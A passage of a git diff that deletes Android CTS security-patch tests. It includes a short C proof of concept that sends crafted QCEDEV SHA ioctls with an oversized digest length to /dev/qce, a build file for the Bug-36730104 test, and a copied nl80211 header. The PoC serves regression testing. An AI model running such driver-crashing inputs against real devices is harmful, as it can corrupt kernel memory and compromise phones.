-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-enum qcedev_sha_alg_enum {
-  QCEDEV_ALG_SHA1 = 0,
-  QCEDEV_ALG_SHA256 = 1,
-  QCEDEV_ALG_SHA1_HMAC = 2,
-  QCEDEV_ALG_SHA256_HMAC = 3,
-  QCEDEV_ALG_AES_CMAC = 4,
-  QCEDEV_ALG_SHA_ALG_LAST
-};
-
-struct buf_info {
-  union {
-    uint32_t offset;
-    uint8_t *vaddr;
-  };
-  uint32_t len;
-};
-
-struct qcedev_sha_op_req {
-  struct buf_info data[16];
-  uint32_t entries;
-  uint32_t data_len;
-  uint8_t digest[32];
-  uint32_t diglen;
-  uint8_t *authkey;
-  uint32_t authklen;
-  enum qcedev_sha_alg_enum alg;
-};
-
-#define QCEDEV_IOC_MAGIC 0x87
-
-#define QCEDEV_IOCTL_SHA_INIT_REQ \
-  _IOWR(QCEDEV_IOC_MAGIC, 3, struct qcedev_sha_op_req)
-#define QCEDEV_IOCTL_SHA_UPDATE_REQ \
-  _IOWR(QCEDEV_IOC_MAGIC, 4, struct qcedev_sha_op_req)
-#define QCEDEV_IOCTL_SHA_FINAL_REQ \
-  _IOWR(QCEDEV_IOC_MAGIC, 5, struct qcedev_sha_op_req)
-
-void main() {
-  int f = open("/dev/qce", 0);
-
-  struct qcedev_sha_op_req arg;
-  memset(&arg, 0, sizeof(arg));
-  arg.alg = QCEDEV_ALG_AES_CMAC;
-  arg.entries = 1;
-  arg.authklen = 16;
-  char *key = malloc(arg.authklen);
-  arg.authkey = key;
-  arg.data_len = 256;
-
-  arg.data[0].len = arg.data_len;
-  char *data = malloc(arg.data_len);
-  arg.data[0].vaddr = data;
-  int r = ioctl(f, QCEDEV_IOCTL_SHA_INIT_REQ, &arg);
-
-  arg.diglen = 0x8000;
-  r = ioctl(f, QCEDEV_IOCTL_SHA_UPDATE_REQ, &arg);
-  r = ioctl(f, QCEDEV_IOCTL_SHA_FINAL_REQ, &arg);
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
deleted file mode 100644
index 4c27a41..0000000
--- a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36730104
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/local_poc.h b/hostsidetests/security/securityPatch/Bug-36730104/local_poc.h
deleted file mode 100644
index 52de6e8..0000000
--- a/hostsidetests/security/securityPatch/Bug-36730104/local_poc.h
+++ /dev/null
@@ -1,4387 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __LINUX_LOCAL_POC_H
-#define __LINUX_LOCAL_POC_H
-/*
- * 802.11 netlink interface public header
- *
- * Copyright 2006-2010 Johannes Berg <johannes@sipsolutions.net>
- * Copyright 2008 Michael Wu <flamingice@sourmilk.net>
- * Copyright 2008 Luis Carlos Cobo <luisca@cozybit.com>
- * Copyright 2008 Michael Buesch <m@bues.ch>
- * Copyright 2008, 2009 Luis R. Rodriguez <lrodriguez@atheros.com>
- * Copyright 2008 Jouni Malinen <jouni.malinen@atheros.com>
- * Copyright 2008 Colin McCabe <colin@cozybit.com>
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
- * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
- * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
- * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
- * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- */
-
-#include <linux/types.h>
-
-#define NL80211_GENL_NAME "nl80211"
-
-/**
- * DOC: Station handling
- *
- * Stations are added per interface, but a special case exists with VLAN
- * interfaces. When a station is bound to an AP interface, it may be moved
- * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN).
- * The station is still assumed to belong to the AP interface it was added
- * to.
- *
- * Station handling varies per interface type and depending on the driver's
- * capabilities.
- *
- * For drivers supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS
- * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows:
- *  - a setup station entry is added, not yet authorized, without any rate
- *    or capability information, this just exists to avoid race conditions
- *  - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid
- *    to add rate and capability information to the station and at the same
- *    time mark it authorized.
- *  - %NL80211_TDLS_ENABLE_LINK is then used
- *  - after this, the only valid operation is to remove it by tearing down
- *    the TDLS link (%NL80211_TDLS_DISABLE_LINK)
- *
- * TODO: need more info for other interface types
- */
-
-/**
- * DOC: Frame transmission/registration support
- *
- * Frame transmission and registration support exists to allow userspace
- * management entities such as wpa_supplicant react to management frames
- * that are not being handled by the kernel. This includes, for example,
- * certain classes of action frames that cannot be handled in the kernel
- * for various reasons.
- *
- * Frame registration is done on a per-interface basis and registrations
- * cannot be removed other than by closing the socket. It is possible to
- * specify a registration filter to register, for example, only for a
- * certain type of action frame. In particular with action frames, those
- * that userspace registers for will not be returned as unhandled by the
- * driver, so that the registered application has to take responsibility
- * for doing that.
- *
- * The type of frame that can be registered for is also dependent on the
- * driver and interface type. The frame types are advertised in wiphy
- * attributes so applications know what to expect.
- *
- * NOTE: When an interface changes type while registrations are active,
- *       these registrations are ignored until the interface type is
- *       changed again. This means that changing the interface type can
- *       lead to a situation that couldn't otherwise be produced, but
- *       any such registrations will be dormant in the sense that they
- *       will not be serviced, i.e. they will not receive any frames.
- *
- * Frame transmission allows userspace to send for example the required
- * responses to action frames. It is subject to some sanity checking,
- * but many frames can be transmitted. When a frame was transmitted, its
- * status is indicated to the sending socket.
- *
- * For more technical details, see the corresponding command descriptions
- * below.
- */
-
-/**
- * DOC: Virtual interface / concurrency capabilities
- *
- * Some devices are able to operate with virtual MACs, they can have
- * more than one virtual interface. The capability handling for this
- * is a bit complex though, as there may be a number of restrictions
- * on the types of concurrency that are supported.
- *
- * To start with, each device supports the interface types listed in
- * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the
- * types there no concurrency is implied.
- *
- * Once concurrency is desired, more attributes must be observed:
- * To start with, since some interface types are purely managed in
- * software, like the AP-VLAN type in mac80211 for example, there's
- * an additional list of these, they can be added at any time and
- * are only restricted by some semantic restrictions (e.g. AP-VLAN
- * cannot be added without a corresponding AP interface). This list
- * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute.
- *
- * Further, the list of supported combinations is exported. This is
- * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically,
- * it exports a list of "groups", and at any point in time the
- * interfaces that are currently active must fall into any one of
- * the advertised groups. Within each group, there are restrictions
- * on the number of interfaces of different types that are supported
- * and also the number of different channels, along with potentially
- * some other restrictions. See &enum nl80211_if_combination_attrs.
- *
- * All together, these attributes define the concurrency of virtual
- * interfaces that a given device supports.
- */
-
-/**
- * DOC: packet coalesce support
- *
- * In most cases, host that receives IPv4 and IPv6 multicast/broadcast
- * packets does not do anything with these packets. Therefore the
- * reception of these unwanted packets causes unnecessary processing
- * and power consumption.
- *
- * Packet coalesce feature helps to reduce number of received interrupts
- * to host by buffering these packets in firmware/hardware for some
- * predefined time. Received interrupt will be generated when one of the
- * following events occur.
- * a) Expiration of hardware timer whose expiration time is set to maximum
- * coalescing delay of matching coalesce rule.
- * b) Coalescing buffer in hardware reaches it's limit.
- * c) Packet doesn't match any of the configured coalesce rules.
- *
- * User needs to configure following parameters for creating a coalesce
- * rule.
- * a) Maximum coalescing delay
- * b) List of packet patterns which needs to be matched
- * c) Condition for coalescence. pattern 'match' or 'no match'
- * Multiple such rules can be created.
- */
-
-/**
- * enum nl80211_commands - supported nl80211 commands
- *
- * @NL80211_CMD_UNSPEC: unspecified command to catch errors
- *
- * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request
- *	to get a list of all present wiphys.
- * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or
- *	%NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME,
- *	%NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the
- *	attributes determining the channel width; this is used for setting
- *	monitor mode channel),  %NL80211_ATTR_WIPHY_RETRY_SHORT,
- *	%NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
- *	and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD.
- *	However, for setting the channel, see %NL80211_CMD_SET_CHANNEL
- *	instead, the support here is for backward compatibility only.
- * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request
- *	or rename notification. Has attributes %NL80211_ATTR_WIPHY and
- *	%NL80211_ATTR_WIPHY_NAME.
- * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes
- *	%NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME.
- *
- * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration;
- *	either a dump request on a %NL80211_ATTR_WIPHY or a specific get
- *	on an %NL80211_ATTR_IFINDEX is supported.
- * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE.
- * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response
- *	to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX,
- *	%NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also
- *	be sent from userspace to request creation of a new virtual interface,
- *	then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and
- *	%NL80211_ATTR_IFNAME.
- * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from
- *	userspace to request deletion of a virtual interface, then requires
- *	attribute %NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified
- *	by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC.
- * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT,
- *	%NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD.
- * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA,
- *	%NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER,
- *	and %NL80211_ATTR_KEY_SEQ attributes.
- * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX
- *	or %NL80211_ATTR_MAC.
- *
- * @NL80211_CMD_GET_BEACON: (not used)
- * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface
- *	using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL
- *	attributes. For drivers that generate the beacon and probe responses
- *	internally, the following attributes must be provided: %NL80211_ATTR_IE,
- *	%NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP.
- * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters
- *	are like for %NL80211_CMD_SET_BEACON, and additionally parameters that
- *	do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL,
- *	%NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID,
- *	%NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE,
- *	%NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS,
- *	%NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY,
- *	%NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT,
- *	%NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS.
- *	The channel to use can be set on the interface or be given using the
- *	%NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width.
- * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP
- * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface
- * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP
- *
- * @NL80211_CMD_GET_STATION: Get station attributes for station identified by
- *	%NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_STATION: Set station attributes for station identified by
- *	%NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the
- *	the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC
- *	or, if no MAC address given, all stations, on the interface identified
- *	by %NL80211_ATTR_IFINDEX. %NL80211_ATTR_MGMT_SUBTYPE and
- *	%NL80211_ATTR_REASON_CODE can optionally be used to specify which type
- *	of disconnection indication should be sent to the station
- *	(Deauthentication or Disassociation frame and reason code for that
- *	frame).
- *
- * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to
- * 	destination %NL80211_ATTR_MAC on the interface identified by
- * 	%NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_MPATH:  Set mesh path attributes for mesh path to
- * 	destination %NL80211_ATTR_MAC on the interface identified by
- * 	%NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by
- *	%NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP.
- * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by
- *	%NL80211_ATTR_MAC.
- * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the
- *	the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC
- *	or, if no MAC address given, all mesh paths, on the interface identified
- *	by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by
- *	%NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set
- * 	regulatory domain.
- * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command
- *	after being queried by the kernel. CRDA replies by sending a regulatory
- *	domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our
- *	current alpha2 if it found a match. It also provides
- * 	NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each
- * 	regulatory rule is a nested set of attributes  given by
- * 	%NL80211_ATTR_REG_RULE_FREQ_[START|END] and
- * 	%NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by
- * 	%NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and
- * 	%NL80211_ATTR_REG_RULE_POWER_MAX_EIRP.
- * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain
- * 	to the specified ISO/IEC 3166-1 alpha2 country code. The core will
- * 	store this as a valid request and then query userspace for it.
- *
- * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the
- *	interface identified by %NL80211_ATTR_IFINDEX
- *
- * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the
- *      interface identified by %NL80211_ATTR_IFINDEX
- *
- * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The
- *	interface is identified with %NL80211_ATTR_IFINDEX and the management
- *	frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be
- *	added to the end of the specified management frame is specified with
- *	%NL80211_ATTR_IE. If the command succeeds, the requested data will be
- *	added to all specified management frames generated by
- *	kernel/firmware/driver.
- *	Note: This command has been removed and it is only reserved at this
- *	point to avoid re-using existing command number. The functionality this
- *	command was planned for has been provided with cleaner design with the
- *	option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN,
- *	NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE,
- *	NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE.
- *
- * @NL80211_CMD_GET_SCAN: get scan results
- * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters
- *	%NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
- *	probe requests at CCK rate or not. %NL80211_ATTR_MAC can be used to
- *	specify a BSSID to scan for; if not included, the wildcard BSSID will
- *	be used.
- * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to
- *	NL80211_CMD_GET_SCAN and on the "scan" multicast group)
- * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons,
- *	partial scan results may be available
- *
- * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain
- *	intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL.
- *	Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS)
- *	are passed, they are used in the probe requests.  For
- *	broadcast, a broadcast SSID must be passed (ie. an empty
- *	string).  If no SSID is passed, no probe requests are sent and
- *	a passive scan is performed.  %NL80211_ATTR_SCAN_FREQUENCIES,
- *	if passed, define which channels should be scanned; if not
- *	passed, all channels allowed for the current regulatory domain
- *	are used.  Extra IEs can also be passed from the userspace by
- *	using the %NL80211_ATTR_IE attribute.
- * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT if
- *	scheduled scan is not running. The caller may assume that as soon
- *	as the call returns, it is safe to start a new scheduled scan again.
- * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan
- *	results available.
- * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has
- *	stopped.  The driver may issue this event at any time during a
- *	scheduled scan.  One reason for stopping the scan is if the hardware
- *	does not support starting an association or a normal scan while running
- *	a scheduled scan.  This event is also sent when the
- *	%NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface
- *	is brought down while a scheduled scan was running.
- *
- * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation
- *      or noise level
- * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to
- *	NL80211_CMD_GET_SURVEY and on the "scan" multicast group)
- *
- * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC
- *	(for the BSSID) and %NL80211_ATTR_PMKID.
- * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC
- *	(for the BSSID) and %NL80211_ATTR_PMKID.
- * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries.
- *
- * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain
- * 	has been changed and provides details of the request information
- * 	that caused the change such as who initiated the regulatory request
- * 	(%NL80211_ATTR_REG_INITIATOR), the wiphy_idx
- * 	(%NL80211_ATTR_REG_ALPHA2) on which the request was made from if
- * 	the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or
- * 	%NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain
- * 	set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is
- * 	%NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on
- * 	to (%NL80211_ATTR_REG_ALPHA2).
- * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon
- * 	has been found while world roaming thus enabling active scan or
- * 	any mode of operation that initiates TX (beacons) on a channel
- * 	where we would not have been able to do either before. As an example
- * 	if you are world roaming (regulatory domain set to world or if your
- * 	driver is using a custom world roaming regulatory domain) and while
- * 	doing a passive scan on the 5 GHz band you find an AP there (if not
- * 	on a DFS channel) you will now be able to actively scan for that AP
- * 	or use AP mode on your card on that same channel. Note that this will
- * 	never be used for channels 1-11 on the 2 GHz band as they are always
- * 	enabled world wide. This beacon hint is only sent if your device had
- * 	either disabled active scanning or beaconing on a channel. We send to
- * 	userspace the wiphy on which we removed a restriction from
- * 	(%NL80211_ATTR_WIPHY) and the channel on which this occurred
- * 	before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER)
- * 	the beacon hint was processed.
- *
- * @NL80211_CMD_AUTHENTICATE: authentication request and notification.
- *	This command is used both as a command (request to authenticate) and
- *	as an event on the "mlme" multicast group indicating completion of the
- *	authentication process.
- *	When used as a command, %NL80211_ATTR_IFINDEX is used to identify the
- *	interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and
- *	BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify
- *	the SSID (mainly for association, but is included in authentication
- *	request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used
- *	to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE
- *	is used to specify the authentication type. %NL80211_ATTR_IE is used to
- *	define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs)
- *	to be added to the frame.
- *	When used as an event, this reports reception of an Authentication
- *	frame in station and IBSS modes when the local MLME processed the
- *	frame, i.e., it was for the local STA and was received in correct
- *	state. This is similar to MLME-AUTHENTICATE.confirm primitive in the
- *	MLME SAP interface (kernel providing MLME, userspace SME). The
- *	included %NL80211_ATTR_FRAME attribute contains the management frame
- *	(including both the header and frame body, but not FCS). This event is
- *	also used to indicate if the authentication attempt timed out. In that
- *	case the %NL80211_ATTR_FRAME attribute is replaced with a
- *	%NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which
- *	pending authentication timed out).
- * @NL80211_CMD_ASSOCIATE: association request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Association and Reassociation
- *	(similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request,
- *	MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives).
- * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to
- *	MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication
- *	primitives).
- * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to
- *	MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives).
- *
- * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael
- *	MIC (part of TKIP) failure; sent on the "mlme" multicast group; the
- *	event includes %NL80211_ATTR_MAC to describe the source MAC address of
- *	the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key
- *	type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and
- *	%NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this
- *	event matches with MLME-MICHAELMICFAILURE.indication() primitive
- *
- * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a
- *	FREQ attribute (for the initial frequency if no peer can be found)
- *	and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those
- *	should be fixed rather than automatically determined. Can only be
- *	executed on a network interface that is UP, and fixed BSSID/FREQ
- *	may be rejected. Another optional parameter is the beacon interval,
- *	given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not
- *	given defaults to 100 TU (102.4ms).
- * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is
- *	determined by the network interface.
- *
- * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute
- *	to identify the device, and the TESTDATA blob attribute to pass through
- *	to the driver.
- *
- * @NL80211_CMD_CONNECT: connection request and notification; this command
- *	requests to connect to a specified network but without separating
- *	auth and assoc steps. For this, you need to specify the SSID in a
- *	%NL80211_ATTR_SSID attribute, and can optionally specify the association
- *	IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP,
- *	%NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT,
- *	%NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
- *	%NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, %NL80211_ATTR_MAC_HINT, and
- *	%NL80211_ATTR_WIPHY_FREQ_HINT.
- *	If included, %NL80211_ATTR_MAC and %NL80211_ATTR_WIPHY_FREQ are
- *	restrictions on BSS selection, i.e., they effectively prevent roaming
- *	within the ESS. %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT
- *	can be included to provide a recommendation of the initial BSS while
- *	allowing the driver to roam to other BSSes within the ESS and also to
- *	ignore this recommendation if the indicated BSS is not ideal. Only one
- *	set of BSSID,frequency parameters is used (i.e., either the enforcing
- *	%NL80211_ATTR_MAC,%NL80211_ATTR_WIPHY_FREQ or the less strict
- *	%NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT).
- *	Background scan period can optionally be
- *	specified in %NL80211_ATTR_BG_SCAN_PERIOD,
- *	if not specified default background scan configuration
- *	in driver is used and if period value is 0, bg scan will be disabled.
- *	This attribute is ignored if driver does not support roam scan.
- *	It is also sent as an event, with the BSSID and response IEs when the
- *	connection is established or failed to be established. This can be
- *	determined by the STATUS_CODE attribute.
- * @NL80211_CMD_ROAM: request that the card roam (currently not implemented),
- *	sent as an event when the card/driver roamed by itself.
- * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify
- *	userspace that a connection was dropped by the AP or due to other
- *	reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and
- *	%NL80211_ATTR_REASON_CODE attributes are used.
- *
- * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices
- *	associated with this wiphy must be down and will follow.
- *
- * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified
- *	channel for the specified amount of time. This can be used to do
- *	off-channel operations like transmit a Public Action frame and wait for
- *	a response while being associated to an AP on another channel.
- *	%NL80211_ATTR_IFINDEX is used to specify which interface (and thus
- *	radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the
- *	frequency for the operation.
- *	%NL80211_ATTR_DURATION is used to specify the duration in milliseconds
- *	to remain on the channel. This command is also used as an event to
- *	notify when the requested duration starts (it may take a while for the
- *	driver to schedule this time due to other concurrent needs for the
- *	radio).
- *	When called, this operation returns a cookie (%NL80211_ATTR_COOKIE)
- *	that will be included with any events pertaining to this request;
- *	the cookie is also used to cancel the request.
- * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a
- *	pending remain-on-channel duration if the desired operation has been
- *	completed prior to expiration of the originally requested duration.
- *	%NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the
- *	radio. The %NL80211_ATTR_COOKIE attribute must be given as well to
- *	uniquely identify the request.
- *	This command is also used as an event to notify when a requested
- *	remain-on-channel duration has expired.
- *
- * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX
- *	rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface
- *	and @NL80211_ATTR_TX_RATES the set of allowed rates.
- *
- * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames
- *	(via @NL80211_CMD_FRAME) for processing in userspace. This command
- *	requires an interface index, a frame type attribute (optional for
- *	backward compatibility reasons, if not given assumes action frames)
- *	and a match attribute containing the first few bytes of the frame
- *	that should match, e.g. a single byte for only a category match or
